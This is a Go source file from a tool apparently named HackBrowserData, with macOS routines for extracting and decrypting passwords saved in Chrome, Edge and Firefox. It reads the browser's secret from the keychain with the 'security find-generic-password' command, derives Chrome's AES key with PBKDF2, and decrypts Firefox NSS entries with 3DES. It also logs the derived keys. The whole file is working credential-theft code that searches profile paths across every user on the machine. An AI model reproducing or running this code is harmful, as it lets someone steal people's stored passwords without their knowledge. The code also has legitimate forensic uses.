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HackBrowserData/utils/utils_darwin.go

191 lines
4.2 KiB

package utils
import (
"bytes"
"crypto/hmac"
"crypto/sha1"
"encoding/asn1"
"encoding/hex"
"errors"
"hack-browser-data/log"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeCommand = "Chrome"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
edgeCommand = "Microsoft Edge"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
fireFoxCommand = ""
)
var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"chrome": {
chromeProfilePath,
chromeCommand,
},
"edge": {
edgeProfilePath,
edgeCommand,
},
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
)
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func InitKey(key string) error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
cmd = exec.Command(command[0], command[1], command[2], key)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
decryptChromeKey(chromePass)
return err
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 {
if len(chromeKey) == 0 {
return "", errKeyIsEmpty
}
m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:])
return string(m), err
} else {
return "", &DecryptError{
err: errPasswordIsEmpty,
}
}
}
/*
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OCTET STRING (20 byte)
INTEGER 1
OCTET STRING (16 byte)
*/
type NssPBE struct {
SequenceA
Encrypted []byte
}
type MetaPBE struct {
SequenceA
Encrypted []byte
}
type SequenceA struct {
DecryptMethod asn1.ObjectIdentifier
SequenceB
}
type SequenceB struct {
EntrySalt []byte
Len int
}
func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) {
log.Debug(hex.EncodeToString(metaBytes))
_, err = asn1.Unmarshal(metaBytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
log.Debug(hex.EncodeToString(nssA11Bytes))
_, err = asn1.Unmarshal(nssA11Bytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) {
//byte[] GLMP; // GlobalSalt + MasterPassword
//byte[] HP; // SHA1(GLMP)
//byte[] HPES; // HP + EntrySalt
//byte[] CHP; // SHA1(HPES)
//byte[] PES; // EntrySalt completed to 20 bytes by zero
//byte[] PESES; // PES + EntrySalt
//byte[] k1;
//byte[] tk;
//byte[] k2;
//byte[] k; // final value conytaining key and iv
glmp := append(globalSalt, masterPwd...)
hp := sha1.Sum(glmp)
s := append(hp[:], entrySalt...)
chp := sha1.Sum(s)
pes := PaddingZero(entrySalt, 20)
tk := hmac.New(sha1.New, chp[:])
tk.Write(pes)
pes = append(pes, entrySalt...)
k1 := hmac.New(sha1.New, chp[:])
k1.Write(pes)
tkPlus := append(tk.Sum(nil), entrySalt...)
k2 := hmac.New(sha1.New, chp[:])
k2.Write(tkPlus)
k := append(k1.Sum(nil), k2.Sum(nil)...)
iv := k[len(k)-8:]
key := k[:24]
log.Warnf("key=%s iv=%s", hex.EncodeToString(key), hex.EncodeToString(iv))
return Des3Decrypt(key, iv, encrypted)
}